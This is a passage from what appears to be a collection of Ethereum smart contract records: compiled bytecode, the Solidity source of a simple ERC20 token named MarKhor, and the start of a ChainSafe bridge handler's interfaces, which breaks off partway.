0f35b34801561029757600080fd5b506102a06107d5565b60405161028291906120d6565b3480156102b957600080fd5b506102cd6102c83660046120e9565b610867565b6040516001600160a01b039091168152602001610282565b3480156102f157600080fd5b5061030561030036600461211e565b610901565b005b34801561031357600080fd5b5061031d600e5481565b604051908152602001610282565b34801561033757600080fd5b506103056103463660046121d4565b610a17565b34801561035757600080fd5b5061030561036636600461222d565b610a58565b34801561037757600080fd5b5061031d610a95565b34801561038c57600080fd5b5061030561039b366004612248565b610aa5565b3480156103ac57600080fd5b5061031d60095481565b3480156103c257600080fd5b50610305610ad6565b3480156103d757600080fd5b506103056103e6366004612248565b610bd1565b3480156103f757600080fd5b5061040b610406366004612284565b610bec565b604051610282919061229f565b34801561042457600080fd5b506103056104333660046120e9565b610ccd565b34801561044457600080fd5b506103056104533660046121d4565b610cfc565b34801561046457600080fd5b506011546102769062010000900460ff1681565b34801561048457600080fd5b506102a0610d39565b34801561049957600080fd5b506011546102769060ff1681565b3480156104b357600080fd5b506102a0610dc7565b3480156104c857600080fd5b506102cd6104d73660046120e9565b610dd4565b3480156104e857600080fd5b5060115461027690610100900460ff1681565b34801561050757600080fd5b5061031d610516366004612284565b610e4b565b34801561052757600080fd5b50610305610ed2565b34801561053c57600080fd5b5061030561054b3660046120e9565b610f08565b34801561055c57600080fd5b5061030561056b3660046121d4565b610f37565b34801561057c57600080fd5b506006546001600160a01b03166102cd565b34801561059a57600080fd5b5061031d60105481565b3480156105b057600080fd5b506102a0610f74565b6103056105c73660046120e9565b610f83565b3480156105d857600080fd5b506103056105e73660046122e3565b611098565b3480156105f857600080fd5b506102a06110a3565b34801561060d57600080fd5b5061030561061c3660046120e9565b6110b0565b34801561062d57600080fd5b5061030561063c36600461222d565b6110df565b34801561064d57600080fd5b5061030561065c366004612316565b611123565b34801561066d57600080fd5b506102a061067c3660046120e9565b61115b565b61030561068f366004612392565b6112db565b3480156106a057600080fd5b5061031d600f5481565b3480156106b657600080fd5b506102766106c5366004612284565b600a6020526000908152604090205460ff1681565b3480156106e657600080fd5b506103056106f536600461222d565b611538565b34801561070657600080fd5b50610276610715366004612411565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205460ff1690565b34801561074f57600080fd5b5061030561075e36600461243b565b61157e565b34801561076f57600080fd5b5061030561077e366004612284565b611616565b60006001600160e01b031982166380ac58cd60e01b14806107b457506001600160e01b03198216635b5e139f60e01b145b806107cf57506301ffc9a760e01b6001600160e01b03198316145b92915050565b6060600080546107e49061245e565b80601f01602080910402602001604051908101604052809291908181526020018280546108109061245e565b801561085d5780601f106108325761010080835404028352916020019161085d565b820191906000526020600020905b81548152906001019060200180831161084057829003601f168201915b5050505050905090565b6000818152600260205260408120546001600160a01b03166108e55760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084015b60405180910390fd5b506000908152600460205260409020546001600160a01b031690565b600061090c82610dd4565b9050806001600160a01b0316836001600160a01b0316141561097a5760405162461bcd60e51b815260206004820152602160248201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e656044820152603960f91b60648201526084016108dc565b336001600160a01b038216148061099657506109968133610715565b610a085760405162461bcd60e51b815260206004820152603860248201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760448201527f6e6572206e6f7220617070726f76656420666f7220616c6c000000000000000060648201526084016108dc565b610a1283836116b1565b505050565b6006546001600160a01b03163314610a415760405162461bcd60e51b81526004016108dc90612499565b8051610a5490600c906020840190611fb2565b5050565b6006546001600160a01b03163314610a825760405162461bcd60e51b81526004016108dc90612499565b6011805460ff1916911515919091179055565b6000610aa060085490565b905090565b610aaf338261171f565b610acb5760405162461bcd60e51b81526004016108dc906124ce565b610a12838383611816565b6006546001600160a01b03163314610b005760405162461bcd60e51b81526004016108dc90612499565b60026007541415610b535760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c0060448201526064016108dc565b60026007556000610b6c6006546001600160a01b031690565b6001600160a01b03164760405160006040518083038185875af1925050503d8060008114610bb6576040519150601f19603f3d011682016040523d82523d6000602084013e610bbb565b606091505b5050905080610bc957600080fd5b506001600755565b610a1283838360405180602001604052806000815250611123565b60606000610bf983610e4b565b905060008167ffffffffffffffff811115610c1657610c16612148565b604051908082528060200260200182016040528015610c3f578160200160208202803683370190505b509050600160005b8381108015610c585750600f548211155b15610cc3576000610c6883610dd4565b9050866001600160a01b0316816001600160a01b03161415610cb05782848381518110610c9757610c9761251f565b602090810291909101015281610cac8161254b565b9250505b82610cba8161254b565b93505050610c47565b5090949350505050565b6006546001600160a01b03163314610cf75760405162461bcd60e51b81526004016108dc90612499565b600e55565b6006546001600160a01b03163314610d265760405162461bcd60e51b81526004016108dc90612499565b8051610a5490600d906020840190611fb2565b600c8054610d469061245e565b80601f0160208091040260200160405190810160405280929190818152602001828054610d729061245e565b8015610dbf5780601f10610d9457610100808354040283529160200191610dbf565b820191906000526020600020905b815481529060010190602001808311610da257829003601f168201915b505050505081565b600b8054610d469061245e565b6000818152600260205260408120546001600160a01b0316806107cf5760405162461bcd60e51b815260206004820152602960248201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460448201526832b73a103a37b5b2b760b91b60648201526084016108dc565b60006001600160a01b038216610eb65760405162461bcd60e51b815260206004820152602a60248201527f4552433732313a2062616c616e636520717565727920666f7220746865207a65604482015269726f206164647265737360b01b60648201526084016108dc565b506001600160a01b031660009081526003602052604090205490565b6006546001600160a01b03163314610efc5760405162461bcd60e51b81526004016108dc90612499565b610f0660006119b6565b565b6006546001600160a01b03163314610f325760405162461bcd60e51b81526004016108dc90612499565b600955565b6006546001600160a01b03163314610f615760405162461bcd60e51b81526004016108dc90612499565b8051610a5490600b906020840190611fb2565b6060600180546107e49061245e565b80600081118015610f9657506010548111155b610fb25760405162461bcd60e51b81526004016108dc90612566565b600f5481610fbf60085490565b610fc99190612594565b1115610fe75760405162461bcd60e51b81526004016108dc906125ac565b8180600e54610ff691906125da565b34101561103b5760405162461bcd60e51b8152602060048201526013602482015272496e73756666696369656e742066756e64732160681b60448201526064016108dc565b60115460ff161561108e5760405162461bcd60e51b815260206004820152601760248201527f54686520636f6e7472616374206973207061757365642100000000000000000060448201526064016108dc565b610a123384611a08565b610a54338383611a45565b600d8054610d469061245e565b6006546001600160a01b031633146110da5760405162461bcd60e51b81526004016108dc90612499565b601055565b6006546001600160a01b031633146111095760405162461bcd60e51b81526004016108dc90612499565b601180549115156101000261ff0019909216919091179055565b61112d338361171f565b6111495760405162461bcd60e51b81526004016108dc906124ce565b61115584848484611b14565b50505050565b6000818152600260205260409020546060906001600160a01b03166111da5760405162461bcd60e51b815260206004820152602f60248201527f4552433732314d657461646174613a2055524920717565727920666f72206e6f60448201526e3732bc34b9ba32b73a103a37b5b2b760891b60648201526084016108dc565b60115462010000900460ff1661127c57600d80546111f79061245e565b80601f01602080910402602001604051908101604052809291908181526020018280546112239061245e565b80156112705780601f1061124557610100808354040283529160200191611270565b820191906000526020600020905b81548152906001019060200180831161125357829003601f168201915b50505050509050919050565b6000611286611b47565b905060008151116112a657604051806020016040528060008152506112d4565b806112b084611b56565b600c6040516020016112c4939291906125f9565b6040516020818303038152906040525b9392505050565b826000811180156112ee57506010548111155b61130a5760405162461bcd60e51b81526004016108dc90612566565b600f548161131760085490565b6113219190612594565b111561133f5760405162461bcd60e51b81526004016108dc906125ac565b8380600e5461134e91906125da565b3410156113935760405162461bcd60e51b8152602060048201526013602482015272496e73756666696369656e742066756e64732160681b60448201526064016108dc565b601154610100900460ff166113f55760405162461bcd60e51b815260206004820152602260248201527f5468652077686974656c6973742073616c65206973206e6f7420656e61626c65604482015261642160f01b60648201526084016108dc565b336000908152600a602052604090205460ff16156114555760405162461bcd60e51b815260206004820152601860248201527f4164647265737320616c726561647920636c61696d656421000000000000000060448201526064016108dc565b6040516bffffffffffffffffffffffff193360601b1660208201526000906034016040516020818303038152906040528051906020012090506114cf858580806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250506009549150849050611c54565b61150c5760405162461bcd60e51b815260206004820152600e60248201526d496e76616c69642070726f6f662160901b60448201526064016108dc565b336000818152600a60205260409020805460ff191660011790556115309087611a08565b505050505050565b6006546001600160a01b031633146115625760405162461bcd60e51b81526004016108dc90612499565b60118054911515620100000262ff000019909216919091179055565b8160008111801561159157506010548111155b6115ad5760405162461bcd60e51b81526004016108dc90612566565b600f54816115ba60085490565b6115c49190612594565b11156115e25760405162461bcd60e51b81526004016108dc906125ac565b6006546001600160a01b0316331461160c5760405162461bcd60e51b81526004016108dc90612499565b610a128284611a08565b6006546001600160a01b031633146116405760405162461bcd60e51b81526004016108dc90612499565b6001600160a01b0381166116a55760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016108dc565b6116ae816119b6565b50565b600081815260046020526040902080546001600160a01b0319166001600160a01b03841690811790915581906116e682610dd4565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6000818152600260205260408120546001600160a01b03166117985760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084016108dc565b60006117a383610dd4565b9050806001600160a01b0316846001600160a01b031614806117de5750836001600160a01b03166117d384610867565b6001600160a01b0316145b8061180e57506001600160a01b0380821660009081526005602090815260408083209388168352929052205460ff165b949350505050565b826001600160a01b031661182982610dd4565b6001600160a01b0316146118915760405162461bcd60e51b815260206004820152602960248201527f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960448201526839903737ba1037bbb760b91b60648201526084016108dc565b6001600160a01b0382166118f35760405162461bcd60e51b8152602060048201526024808201527f4552433732313a207472616e7366657220746f20746865207a65726f206164646044820152637265737360e01b60648201526084016108dc565b6118fe6000826116b1565b6001600160a01b03831660009081526003602052604081208054600192906119279084906126bd565b90915550506001600160a01b0382166000908152600360205260408120805460019290611955908490612594565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b0386811691821790925591518493918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b600680546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b60005b81811015610a1257611a21600880546001019055565b611a3383611a2e60085490565b611c6a565b80611a3d8161254b565b915050611a0b565b816001600160a01b0316836001600160a01b03161415611aa75760405162461bcd60e51b815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c65720000000000000060448201526064016108dc565b6001600160a01b03838116600081815260056020908152604080832094871680845294825291829020805460ff191686151590811790915591519182527f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a3505050565b611b1f848484611816565b611b2b84848484611c84565b6111555760405162461bcd60e51b81526004016108dc906126d4565b6060600b80546107e49061245e565b606081611b7a5750506040805180820190915260018152600360fc1b602082015290565b8160005b8115611ba45780611b8e8161254b565b9150611b9d9050600a8361273c565b9150611b7e565b60008167ffffffffffffffff811115611bbf57611bbf612148565b6040519080825280601f01601f191660200182016040528015611be9576020820181803683370190505b5090505b841561180e57611bfe6001836126bd565b9150611c0b600a86612750565b611c16906030612594565b60f81b818381518110611c2b57611c2b61251f565b60200101906001600160f81b031916908160001a905350611c4d600a8661273c565b9450611bed565b600082611c618584611d91565b14949350505050565b610a54828260405180602001604052806000815250611e3d565b60006001600160a01b0384163b15611d8657604051630a85bd0160e11b81526001600160a01b0385169063150b7a0290611cc8903390899088908890600401612764565b602060405180830381600087803b158015611ce257600080fd5b505af1925050508015611d12575060408051601f3d908101601f19168201909252611d0f918101906127a1565b60015b611d6c573d808015611d40576040519150601f19603f3d011682016040523d82523d6000602084013e611d45565b606091505b508051611d645760405162461bcd60e51b81526004016108dc906126d4565b805181602001fd5b6001600160e01b031916630a85bd0160e11b14905061180e565b506001949350505050565b600081815b8451811015611e35576000858281518110611db357611db361251f565b60200260200101519050808311611df5576040805160208101859052908101829052606001604051602081830303815290604052805190602001209250611e22565b60408051602081018390529081018490526060016040516020818303038152906040528051906020012092505b5080611e2d8161254b565b915050611d96565b509392505050565b611e478383611e70565b611e546000848484611c84565b610a125760405162461bcd60e51b81526004016108dc906126d4565b6001600160a01b038216611ec65760405162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f206164647265737360448201526064016108dc565b6000818152600260205260409020546001600160a01b031615611f2b5760405162461bcd60e51b815260206004820152601c60248201527f4552433732313a20746f6b656e20616c7265616479206d696e7465640000000060448201526064016108dc565b6001600160a01b0382166000908152600360205260408120805460019290611f54908490612594565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b03861690811790915590518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b828054611fbe9061245e565b90600052602060002090601f016020900481019282611fe05760008555612026565b82601f10611ff957805160ff1916838001178555612026565b82800160010185558215612026579182015b8281111561202657825182559160200191906001019061200b565b50612032929150612036565b5090565b5b808211156120325760008155600101612037565b6001600160e01b0319811681146116ae57600080fd5b60006020828403121561207357600080fd5b81356112d48161204b565b60005b83811015612099578181015183820152602001612081565b838111156111555750506000910152565b600081518084526120c281602086016020860161207e565b601f01601f19169290920160200192915050565b6020815260006112d460208301846120aa565b6000602082840312156120fb57600080fd5b5035919050565b80356001600160a01b038116811461211957600080fd5b919050565b6000806040838503121561213157600080fd5b61213a83612102565b946020939093013593505050565b634e487b7160e01b600052604160045260246000fd5b600067ffffffffffffffff8084111561217957612179612148565b604051601f8501601f19908116603f011681019082821181831017156121a1576121a1612148565b816040528093508581528686860111156121ba57600080fd5b858560208301376000602087830101525050509392505050565b6000602082840312156121e657600080fd5b813567ffffffffffffffff8111156121fd57600080fd5b8201601f8101841361220e57600080fd5b61180e8482356020840161215e565b8035801515811461211957600080fd5b60006020828403121561223f57600080fd5b6112d48261221d565b60008060006060848603121561225d57600080fd5b61226684612102565b925061227460208501612102565b9150604084013590509250925092565b60006020828403121561229657600080fd5b6112d482612102565b6020808252825182820181905260009190848201906040850190845b818110156122d7578351835292840192918401916001016122bb565b50909695505050505050565b600080604083850312156122f657600080fd5b6122ff83612102565b915061230d6020840161221d565b90509250929050565b6000806000806080858703121561232c57600080fd5b61233585612102565b935061234360208601612102565b925060408501359150606085013567ffffffffffffffff81111561236657600080fd5b8501601f8101871361237757600080fd5b6123868782356020840161215e565b91505092959194509250565b6000806000604084860312156123a757600080fd5b83359250602084013567ffffffffffffffff808211156123c657600080fd5b818601915086601f8301126123da57600080fd5b8135818111156123e957600080fd5b8760208260051b85010111156123fe57600080fd5b6020830194508093505050509250925092565b6000806040838503121561242457600080fd5b61242d83612102565b915061230d60208401612102565b6000806040838503121561244e57600080fd5b8235915061230d60208401612102565b600181811c9082168061247257607f821691505b6020821081141561249357634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526031908201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f6040820152701ddb995c881b9bdc88185c1c1c9bdd9959607a1b606082015260800190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060001982141561255f5761255f612535565b5060010190565b602080825260149082015273496e76616c6964206d696e7420616d6f756e742160601b604082015260600190565b600082198211156125a7576125a7612535565b500190565b6020808252601490820152734d617820737570706c792065786365656465642160601b604082015260600190565b60008160001904831182151516156125f4576125f4612535565b500290565b60008451602061260c8285838a0161207e565b85519184019161261f8184848a0161207e565b8554920191600090600181811c908083168061263c57607f831692505b85831081141561265a57634e487b7160e01b85526022600452602485fd5b80801561266e576001811461267f576126ac565b60ff198516885283880195506126ac565b60008b81526020902060005b858110156126a45781548a82015290840190880161268b565b505083880195505b50939b9a5050505050505050505050565b6000828210156126cf576126cf612535565b500390565b60208082526032908201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560408201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b606082015260800190565b634e487b7160e01b600052601260045260246000fd5b60008261274b5761274b612726565b500490565b60008261275f5761275f612726565b500690565b6001600160a01b0385811682528416602082015260408101839052608060608201819052600090612797908301846120aa565b9695505050505050565b6000602082840312156127b357600080fd5b81516112d48161204b56fea26469706673582212206930f5d718fdec110077a9d3f25c613963fd18f7b675623402dd8024a12e945164736f6c63430008090033
[ 5 ]
0xf2a31904f68779305625563c2ca6c0c5b733c38a
pragma solidity ^0.5.0; // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // // ---------------------------------------------------------------------------- contract ERC20Interface { function totalSupply() public view returns (uint); function balanceOf(address tokenOwner) public view returns (uint balance); function allowance(address tokenOwner, address spender) public view returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } // ---------------------------------------------------------------------------- // Safe Math Library // ---------------------------------------------------------------------------- contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } contract MarKhor is ERC20Interface, SafeMath { string public name; string public symbol; uint8 public decimals; // 18 decimals is the strongly suggested default, avoid changing it uint256 public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; /** * Constrctor function * * Initializes contract with initial supply tokens to the creator of the contract */ constructor() public { name = "MarKhor"; symbol = "MKR"; decimals = 8; _totalSupply = 10000000000000000000; balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); } function totalSupply() public view returns (uint) { return _totalSupply - balances[address(0)]; } function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } }
0x6080604052600436106100d0576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100d5578063095ea7b31461016557806318160ddd146101d857806323b872dd14610203578063313ce567146102965780633eaaf86b146102c757806370a08231146102f257806395d89b4114610357578063a293d1e8146103e7578063a9059cbb14610440578063b5931f7c146104b3578063d05c78da1461050c578063dd62ed3e14610565578063e6cb9013146105ea575b600080fd5b3480156100e157600080fd5b506100ea610643565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561012a57808201518184015260208101905061010f565b50505050905090810190601f1680156101575780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561017157600080fd5b506101be6004803603604081101561018857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106e1565b604051808215151515815260200191505060405180910390f35b3480156101e457600080fd5b506101ed6107d3565b6040518082815260200191505060405180910390f35b34801561020f57600080fd5b5061027c6004803603606081101561022657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061081e565b604051808215151515815260200191505060405180910390f35b3480156102a257600080fd5b506102ab610aae565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102d357600080fd5b506102dc610ac1565b6040518082815260200191505060405180910390f35b3480156102fe57600080fd5b506103416004803603602081101561031557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ac7565b6040518082815260200191505060405180910390f35b34801561036357600080fd5b5061036c610b10565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103ac578082015181840152602081019050610391565b50505050905090810190601f1680156103d95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156103f357600080fd5b5061042a6004803603604081101561040a57600080fd5b810190808035906020019092919080359060200190929190505050610bae565b6040518082815260200191505060405180910390f35b34801561044c57600080fd5b506104996004803603604081101561046357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bca565b604051808215151515815260200191505060405180910390f35b3480156104bf57600080fd5b506104f6600480360360408110156104d657600080fd5b810190808035906020019092919080359060200190929190505050610d53565b6040518082815260200191505060405180910390f35b34801561051857600080fd5b5061054f6004803603604081101561052f57600080fd5b810190808035906020019092919080359060200190929190505050610d77565b6040518082815260200191505060405180910390f35b34801561057157600080fd5b506105d46004803603604081101561058857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610da8565b6040518082815260200191505060405180910390f35b3480156105f657600080fd5b5061062d6004803603604081101561060d57600080fd5b810190808035906020019092919080359060200190929190505050610e2f565b6040518082815260200191505060405180910390f35b60008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106d95780601f106106ae576101008083540402835291602001916106d9565b820191906000526020600020905b8154815290600101906020018083116106bc57829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600460008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460035403905090565b6000610869600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610bae565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610932600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610bae565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506109fb600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610e2f565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600260009054906101000a900460ff1681565b60035481565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610ba65780601f10610b7b57610100808354040283529160200191610ba6565b820191906000526020600020905b815481529060010190602001808311610b8957829003601f168201915b505050505081565b6000828211151515610bbf57600080fd5b818303905092915050565b6000610c15600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610bae565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ca1600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610e2f565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60008082111515610d6357600080fd5b8183811515610d6e57fe5b04905092915050565b600081830290506000831480610d975750818382811515610d9457fe5b04145b1515610da257600080fd5b92915050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008183019050828110151515610e4557600080fd5b9291505056fea165627a7a72305820cd22e45812ea64b7926357580fb3e73adec93f06ecf23bbb19aefcc5eb3ea3b50029
[ 38 ]
0xf2a3ee19fc385caf3bda1615ccfeb1efa15f0499
// File: contracts\interfaces\IDepositExecute.sol pragma solidity 0.6.4; /** @title Interface for handler contracts that support deposits and deposit executions. @author ChainSafe Systems. */ interface IDepositExecute { /** @notice It is intended that deposit are made using the Bridge contract. @param destinationChainID Chain ID deposit is expected to be bridged to. @param depositNonce This value is generated as an ID by the Bridge contract. @param depositer Address of account making the deposit in the Bridge contract. */ function deposit( bytes32 resourceID, bytes8 destinationChainID, uint64 depositNonce, address depositer, address recipientAddress, uint256 amount, bytes calldata params ) external returns (address); /** @notice It is intended that proposals are executed by the Bridge contract. */ function executeProposal(bytes32 resourceID, address recipientAddress, uint256 amount, bytes calldata params) external; function getAddressFromResourceId(bytes32 resourceID) external view returns(address); } // File: contracts\interfaces\IERC20.sol // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: contracts\interfaces\IERCHandler.sol pragma solidity 0.6.4; /** @title Interface to be used with handlers that support ERC20s and ERC721s. */ interface IERCHandler { /** @notice Correlates {resourceID} with {contractAddress}. @param resourceID ResourceID to be used when making deposits. @param contractAddress Address of contract to be called when a deposit is made and a deposited is executed. */ function setResource(bytes32 resourceID, address contractAddress) external; /** @notice Marks {contractAddress} as mintable/burnable. @param contractAddress Address of contract to be used when making or executing deposits. */ function setBurnable(address contractAddress) external; /** @notice Used to manually release funds from ERC safes. @param tokenAddress Address of token contract to release. @param recipient Address to release tokens to. @param amountOrTokenID Either the amount of ERC20 tokens or the ERC721 token ID to release. */ function withdraw(address tokenAddress, address recipient, uint256 amountOrTokenID) external; /** @notice Used to approve spending tokens. @param resourceID ResourceID to be used for approval. @param spender Spender address. @param amountOrTokenID Either the amount of ERC20 tokens or the ERC721 token ID to approve. */ function approve(bytes32 resourceID, address spender, uint256 amountOrTokenID) external; } // File: contracts\handlers\HandlerHelpers.sol pragma solidity 0.6.4; /** @title Function used across handler contracts. @notice This contract is intended to be used with the Bridge contract. */ contract HandlerHelpers is IERCHandler { address public _bridgeAddress; // resourceID => token contract address mapping (bytes32 => address) public _resourceIDToTokenContractAddress; // token contract address => resourceID mapping (address => bytes32) public _tokenContractAddressToResourceID; // token contract address => is whitelisted mapping (address => bool) public _contractWhitelist; // token contract address => is burnable mapping (address => bool) public _burnList; modifier onlyBridge() { _onlyBridge(); _; } function _onlyBridge() private { require(msg.sender == _bridgeAddress, "sender must be bridge contract"); } /** @notice First verifies {_resourceIDToContractAddress}[{resourceID}] and {_contractAddressToResourceID}[{contractAddress}] are not already set, then sets {_resourceIDToContractAddress} with {contractAddress}, {_contractAddressToResourceID} with {resourceID}, and {_contractWhitelist} to true for {contractAddress}. 